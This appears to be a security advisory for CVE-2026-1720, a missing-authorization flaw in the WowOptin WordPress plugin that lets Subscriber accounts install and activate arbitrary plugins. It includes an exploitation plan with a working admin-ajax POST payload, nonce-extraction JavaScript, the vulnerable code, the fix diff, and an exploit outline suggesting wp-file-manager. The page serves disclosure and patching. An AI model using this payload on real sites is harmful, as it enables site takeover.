CVE-2026-1720

WowOptin: Next-Gen Popup Maker – Create Stunning Popups and Optins for Lead Generation <= 1.4.24 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.4.25
Patched in
2d
Time to patch

Description

The WowOptin: Next-Gen Popup Maker – Create Stunning Popups and Optins for Lead Generation plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the 'install_and_active_plugin' function in all versions up to, and including, 1.4.24. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate arbitrary plugins.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.4.24
PublishedMarch 4, 2026
Last updatedMarch 5, 2026
Affected pluginoptin

What Changed in the Fix

Changes introduced in v1.4.25

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1720 ## 1. Vulnerability Summary The **WowOptin** plugin for WordPress (versions <= 1.4.24) is vulnerable to **unauthorized arbitrary plugin installation and activation**. While the plugin correctly implements a capability check for its primary plugin installa…

Show full research plan

Exploitation Research Plan: CVE-2026-1720

1. Vulnerability Summary

The WowOptin plugin for WordPress (versions <= 1.4.24) is vulnerable to unauthorized arbitrary plugin installation and activation. While the plugin correctly implements a capability check for its primary plugin installation AJAX handler (optn_install_plugin), it registers a secondary AJAX handler (optn_install) in the Notice class that lacks a proper capability check. This allows any authenticated user, including those with Subscriber-level access, to install and activate any plugin available on the WordPress.org repository.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: optn_install (registered via wp_ajax_optn_install in includes/utils/class-notice.php)
  • Method: POST
  • Authentication: Authenticated (Subscriber-level or higher)
  • Vulnerable Parameter: plugin (the slug of the plugin to be installed)
  • Preconditions: The attacker must be logged in and obtain a valid WordPress nonce (likely optin-nonce or a generic dashboard nonce).

3. Code Flow

  1. Entry Point: The Notice class constructor (in includes/utils/class-notice.php) registers an AJAX action for logged-in users:
    add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) );
    
  2. Vulnerable Sink: The callback install_activate_plugin (missing from the provided source but inferred from the vulnerability report and the parallel install_plugin_callback in WpxpoPlugins) fails to verify if the user has the manage_options or install_plugins capability.
  3. Execution: The callback takes the plugin parameter from $_POST and passes it to the utility function:
    Xpo::install_and_active_plugin( $plugin );
    
  4. Result: WordPress downloads, installs, and activates the plugin specified by the slug.

4. Nonce Acquisition Strategy

The plugin registers nonces for its admin interface. Even if the promotional "install" notices are not currently visible (due to the date logic in optn_dashboard_banner_notice), the nonces are often localized for the admin scripts.

Steps to obtain the nonce:

  1. Create a Subscriber User: Use WP-CLI to create a test subscriber.
  2. Access the Admin Dashboard: Navigate to /wp-admin/index.php as the subscriber.
  3. Inspect Localized Data: The plugin uses React for its dashboard. Search the page source for localized script data.
    • Variable Name: Likely optin_obj, wowoptin_data, or wpxpo_optin_vars.
    • Nonce Key: nonce or optin_nonce.
  4. Alternative - Manual Extraction:
    Use browser_eval to check for the nonce in the global window object:
    // Common patterns for this plugin author
    window.optin_obj?.nonce || window.optin_vars?.nonce || document.querySelector('input[name="optn_db_nonce"]')?.value
    

5. Exploitation Strategy

The exploit will be delivered via a single authenticated AJAX request.

  1. Login: Authenticate as a Subscriber user.
  2. Identify Nonce: Navigate to /wp-admin/ and extract the optin-nonce (used by WpxpoPlugins) or the nonce used by Notice.
  3. Trigger Installation: Send a POST request to admin-ajax.php.

Payload Request (using http_request):

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=optn_install&plugin=hello-dolly&_wpnonce=[EXTRACTED_NONCE]
    
    (Note: If _wpnonce fails, try nonce or wpnonce based on the field name found during extraction.)

6. Test Data Setup

  1. Target Plugin: hello-dolly (a harmless, ubiquitous plugin).
  2. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Verify Clean State:
    wp plugin is-installed hello-dolly || echo "Ready"
    

7. Expected Results

  • HTTP Response: Status 200 with a JSON body: {"success":true,"data":{"message":"..."}} or similar.
  • Side Effect: The hello-dolly plugin should be present in the wp-content/plugins/ directory and listed as "Active" in WordPress.

8. Verification Steps

After performing the HTTP request, verify the success via WP-CLI:

# Check if the plugin is installed and active
wp plugin is-installed hello-dolly
wp plugin status hello-dolly

9. Alternative Approaches

If the optn_install action requires specific notice-related parameters, the request may need to look like this:

action=optn_install&plugin=hello-dolly&type=install_notice&_wpnonce=[NONCE]

If the optin-nonce is strictly bound to the WpxpoPlugins class (action optin-nonce), look for the optn-dashboard-nonce generated in class-notice.php:

$optn_db_nonce = wp_create_nonce( 'optn-dashboard-nonce' );

This nonce is specifically generated within the Notice class and is the most likely candidate for the optn_install handler.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WowOptin plugin registers an AJAX handler 'optn_install' which lacks capability checks and nonce verification. This allows any authenticated user, such as a Subscriber, to install and activate arbitrary plugins from the WordPress.org repository by providing the target plugin's slug.

Vulnerable Code

// includes/utils/class-notice.php:37
add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) );

---

// includes/utils/class-notice.php:846
public function install_activate_plugin() {
	if ( ! isset( $_POST['install_plugin'] ) ) {
		return wp_send_json_error( esc_html__( 'Invalid request.', 'optin' ) );
	}
	$plugin_slug = sanitize_text_field( wp_unslash( $_POST['install_plugin'] ) );

	Xpo::install_and_active_plugin( $plugin_slug );

	if ( wp_doing_ajax() || is_network_admin() || isset( $_GET['activate-multi'] ) || isset( $_POST['action'] ) && 'activate-selected' == sanitize_text_field( $_POST['action'] ) ) { //phpcs:ignore
		return;
	}

	return wp_send_json_success( admin_url( 'admin.php?page=optn-dashboard#dashboard' ) );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.24/includes/class-wpxpo-plugins.php /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.25/includes/class-wpxpo-plugins.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.24/includes/class-wpxpo-plugins.php	2026-02-05 03:03:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.25/includes/class-wpxpo-plugins.php	2026-02-09 08:15:06.000000000 +0000
@@ -1,4 +1,4 @@
-<?php
+<?php // phpcs:ignore
 
 namespace OPTN\Includes;
 
@@ -25,12 +25,24 @@
 	 */
 	public function install_plugin_callback() {
 
-		$nonce  = isset( $_POST['wpnonce'] ) ? sanitize_key( wp_unslash( $_POST['wpnonce'] ) ) : '';
-		$plugin = isset( $_POST['plugin'] ) ? $_POST['plugin'] : '';
+		$nonce = isset( $_POST['wpnonce'] ) ? sanitize_key( wp_unslash( $_POST['wpnonce'] ) ) : '';
 
-		if ( ! wp_verify_nonce( $nonce, 'optin-nonce' ) || ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( array( 'message' => 'No plugin specified' ) );
+		if ( ! isset( $nonce ) ) {
+			wp_send_json_error( esc_html__( 'Nonce is missing.', 'optin' ) );
+		}
+
+		if ( wp_verify_nonce( $nonce, 'optin-nonce' ) === false ) {
+			wp_send_json_error( esc_html__( 'Invalid nonce.', 'optin' ) );
+		}
+
+		if ( ! current_user_can( 'install_plugins' ) ) {
+			wp_send_json_error( esc_html__( 'Insufficient permissions.', 'optin' ) );
+		}
+
+		$plugin = isset( $_POST['plugin'] ) ? sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) : '';
+
+		if ( empty( $plugin ) ) {
+			wp_send_json_error( array( 'message' => 'No plugin specified' ) );
 		}
 
 		$res = array( 'message' => 'false' );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.24/includes/utils/class-notice.php /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.25/includes/utils/class-notice.php
--- /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.24/includes/utils/class-notice.php	2026-02-05 03:03:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/optin/1.4.25/includes/utils/class-notice.php	2026-02-09 08:15:06.000000000 +0000
@@ -34,9 +34,6 @@
 
 		// REST API routes.
 		add_action( 'rest_api_init', array( $this, 'register_rest_route' ) );
-
-		// Woocommerce Install Action.
-		add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) );
 	}
 
 
@@ -840,27 +837,6 @@
 	}
 
 	/**
-	 * Plugin Install and Active Action
-	 *
-	 * @since v.1.6.8
-	 * @return STRING | Redirect URL
-	 */
-	public function install_activate_plugin() {
-		if ( ! isset( $_POST['install_plugin'] ) ) {
-			return wp_send_json_error( esc_html__( 'Invalid request.', 'optin' ) );
-		}
-		$plugin_slug = sanitize_text_field( wp_unslash( $_POST['install_plugin'] ) );
-
-		Xpo::install_and_active_plugin( $plugin_slug );
-
-		if ( wp_doing_ajax() || is_network_admin() || isset( $_GET['activate-multi'] ) || isset( $_POST['action'] ) && 'activate-selected' == sanitize_text_field( $_POST['action'] ) ) { //phpcs:ignore
-			return;
-		}
-
-		return wp_send_json_success( admin_url( 'admin.php?page=optn-dashboard#dashboard' ) );
-	}
-
-	/**
 	 * Installation Notice CSS
 	 *
 	 * @since v.1.0.0

Exploit Outline

The exploit targets the `optn_install` AJAX action. 1. **Authentication**: An attacker must be logged in to the WordPress site (Subscriber-level access is sufficient). 2. **Target Endpoint**: Requests are sent to `/wp-admin/admin-ajax.php`. 3. **Payload**: The attacker sends a POST request with the following parameters: - `action`: Set to `optn_install`. - `install_plugin`: The slug of the desired plugin to install and activate (e.g., `wp-file-manager`). 4. **Mechanism**: Because the `install_activate_plugin` function in `class-notice.php` does not verify capabilities or nonces, it proceeds to call `Xpo::install_and_active_plugin` using the provided slug, allowing the attacker to remotely install and activate plugins available on WordPress.org.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.